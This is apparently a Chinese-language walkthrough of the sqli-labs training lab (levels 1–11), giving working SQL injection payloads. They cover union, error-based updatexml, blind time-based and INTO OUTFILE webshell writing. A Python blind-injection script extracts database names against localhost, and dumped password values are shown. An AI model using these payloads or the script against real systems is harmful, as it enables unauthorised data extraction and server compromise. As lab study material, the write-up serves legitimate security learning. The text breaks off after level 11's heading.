Sqli-labs全套(1-65)-通关笔记
Basic Challenges
01-Error Based-Single quotes
Error Based: 可以通过报错知道闭合方式
> paylod:
?id=1') and ;--+源码拼接后：
SELECT * FROM users WHERE id=('$id') LIMIT 0,1; SELECT * FROM users WHERE id=('1') and ;-- ') LIMIT 0,1;> err:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';-- ') LIMIT 0,1' at line 1可见
')就是闭合方式
1' order by 4;--+
- 字段数为
3
-1' union select 1,database(),3;--+
- 出库名
security
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';--+
- 出表名
emails,referers,uagents,users
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users';--+
- 出列名
id,username,password
-1' union select 1,group_concat(password),3 from users;--+
- 出 password 字段
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
同理可以出其他数据，不做演示
02-Error Based-Integer based
同01 只要去掉-1后面的'
03-Error Based-Single quotes with twist
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
加了个() 我们闭合(,注释)
-1') union select 1,database(),3;--+
完整语句:
SELECT * FROM users WHERE id=('-1') union select 1,database(),3;-- ') LIMIT 0,1
其他同理
04-Error Based-Double quotes
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
闭合左" 和(，注释右"和)
-1") union select 1,database(),3;--+
完整语句：
SELECT * FROM users WHERE id=("-1") union select 1,database(),3;-- " ) LIMIT 0,1
05-Double injections-Single quotes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
...
echo 'You are in...........';
...
} else {
...
print_r(mysql_error());
...
}
只要mysql_fetch_array能正确返回数据，前端就回提示You are in...........，可以盲注，但是按照出题人的意思应该是要我们报错注入
报错形式:
XPATH syntax error: ' emails,referers,uagents,users'
1' and updatexml(1,concat(0x0a,(select database())),1); --+
- 出库名
security
1' and updatexml(1,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1); --+
- 出表名
emails,referers,uagents,users
… 接下来不演示了
06-Double injections-Double quotes
闭合" 其他同理
1" and updatexml(1,concat(0x0a,(select database())),1); --+
07-Dump into outfile
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
闭合单引号 + ((
1')) union select 1,"",3 into outfile '/var/www/html/hack.php';--+
写入一句话，直接访问即可
08-Blind-Boolian-Single Quotes
跑库名的时间盲注脚本(布尔盲注脚本和这个差不多，就不写两种了),同理可以跑其他数据
import time
import requests
def blind_inject(url, loc, mid, comp='>', target='database()'):
params = {
'id': f"1' and if(ascii(substr({
target},{
loc},1)){
comp}{
mid}, sleep(0.05),0); -- ",
}
time_start = time.time()
req = requests.get(url=url, params=params)
time_end = time.time()
if time_end - time_start > 0.03:
return 1
else:
return 0
url = "http://localhost/Less-8/"
res = ""
end = 0
for i in range(1, 1000):
l = 32
r = 126
while l < r:
mid = (l + r) // 2
if blind_inject(url, i, mid):
l = mid + 1
else:
r = mid
# check end
if l >= r:
if not blind_inject(url, i, l, '='):
end = 1
if end:
break
res += chr(l)
print(res)
s
se
sec
secu
secur
securi
securit
security
默认是爆databse()，修改target参数可以爆其他
import time
import requests
def blind_inject(url, loc, mid, comp='>', target='database()'):
params = {
'id': f"1' and if(ascii(substr({
target},{
loc},1)){
comp}{
mid}, sleep(0.05),0); -- ",
}
time_start = time.time()
req = requests.get(url=url, params=params)
time_end = time.time()
if time_end - time_start > 0.03:
return 1
else:
return 0
url = "http://localhost/Less-8/"
res = ""
end = 0
for i in range(1, 1000):
l = 32
r = 126
while l < r:
mid = (l + r) // 2
if blind_inject(
url,
i,
mid,
target="(select group_concat(table_name) from information_schema.tables where table_schema='security')"
):
l = mid + 1
else:
r = mid
# check end
if l >= r:
target = "(select group_concat(table_name) from information_schema.tables where table_schema='security')"
if not blind_inject(url, i, l, '=', target=target):
end = 1
if end:
break
res += chr(l)
print(res)
e
em
ema
emai
emails
emails,
emails,r
emails,re
emails,ref
emails,refe
emails,refer
emails,refere
emails,referer
emails,referers
emails,referers,
emails,referers,u
emails,referers,ua
emails,referers,uag
emails,referers,uage
emails,referers,uagen
emails,referers,uagent
emails,referers,uagents
emails,referers,uagents,
emails,referers,uagents,u
emails,referers,uagents,us
emails,referers,uagents,use
emails,referers,uagents,user
emails,referers,uagents,users
09-Blind-Time based-Single Quotes
同上
10-Blind-Time based-Double Quotes
11-POST-Error based
SELECT username, password from users